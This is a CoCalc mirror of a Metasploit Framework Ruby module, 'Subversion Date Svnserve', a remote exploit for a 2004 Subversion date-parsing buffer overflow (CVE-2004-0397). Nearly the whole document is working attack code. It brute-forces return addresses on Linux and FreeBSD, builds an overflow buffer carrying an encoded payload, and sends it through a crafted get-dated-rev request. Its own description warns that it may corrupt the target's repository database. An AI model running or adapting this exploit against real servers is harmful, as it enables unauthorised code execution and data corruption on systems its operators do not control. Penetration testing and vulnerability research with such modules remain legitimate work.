Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/svn/svnserve_date.rb
33181 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Brute
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Subversion Date Svnserve',
17
'Description' => %q{
18
This is an exploit for the Subversion date parsing overflow. This
19
exploit is for the svnserve daemon (svn:// protocol) and will not work
20
for Subversion over webdav (http[s]://). This exploit should never
21
crash the daemon, and should be safe to do multi-hits.
22
23
**WARNING** This exploit seems to (not very often, I've only seen
24
it during testing) corrupt the subversion database, so be careful!
25
},
26
'Author' => 'spoonm',
27
'References' => [
28
['CVE', '2004-0397'],
29
['OSVDB', '6301'],
30
['BID', '10386'],
31
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']
32
],
33
'Payload' => {
34
'Space' => 500,
35
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
36
'MinNops' => 16
37
},
38
'SaveRegisters' => [ 'esp' ],
39
'Arch' => 'x86',
40
'Targets' => [
41
[
42
'Linux Bruteforce',
43
{
44
'Platform' => 'linux',
45
'Bruteforce' =>
46
{
47
'Start' => { 'Ret' => 0xbffffe13 },
48
'Stop' => { 'Ret' => 0xbfff0000 },
49
'Step' => 0
50
}
51
},
52
],
53
[
54
'FreeBSD Bruteforce',
55
{
56
'Platform' => 'bsd',
57
'Bruteforce' =>
58
{
59
'Start' => { 'Ret' => 0xbfbffe13 },
60
'Stop' => { 'Ret' => 0xbfbf0000 },
61
'Step' => 0
62
}
63
},
64
],
65
66
],
67
'DisclosureDate' => '2004-05-19',
68
'Notes' => {
69
'Reliability' => UNKNOWN_RELIABILITY,
70
'Stability' => UNKNOWN_STABILITY,
71
'SideEffects' => UNKNOWN_SIDE_EFFECTS
72
}
73
)
74
)
75
76
register_options(
77
[
78
Opt::RPORT(3690),
79
OptString.new('URL', [ true, 'SVN URL (ie svn://host/repos)', 'svn://host/svn/repos' ])
80
]
81
)
82
83
register_advanced_options(
84
[
85
# 62 on spoonm's, 88 on HD's
86
OptInt.new('RetLength', [ false, 'Length of rets after payload', 100 ]),
87
OptBool.new('IgnoreErrors', [ false, 'Ignore errors', false ])
88
]
89
)
90
end
91
92
def brute_exploit(addresses)
93
connect
94
95
print_status("Trying #{'%.8x' % addresses['Ret']}...")
96
97
buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
98
99
[
100
'( 2 ( edit-pipeline ) ' + lengther(datastore['URL']) + ' ) ',
101
'( ANONYMOUS ( 0; ) )',
102
'( get-dated-rev ( ' + lengther(buffer + ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)') + ' ) ) '
103
].each_with_index do |buf, index|
104
trash = sock.get_once
105
106
print_line("Received: #{trash}") if debugging?
107
108
if (sock.put(buf) || 0) == 0 and index < 3
109
print_error('Error transmitting buffer.')
110
fail_with(Failure::Unknown, 'Failed to transmit data') if !datastore['IgnoreErrors']
111
end
112
113
if index == 3 and trash.length > 0
114
print_error("Received data when we shouldn't have")
115
fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
116
end
117
end
118
119
handler
120
disconnect
121
end
122
123
def lengther(buf)
124
"#{buf.length}:" + buf
125
end
126
end
127
128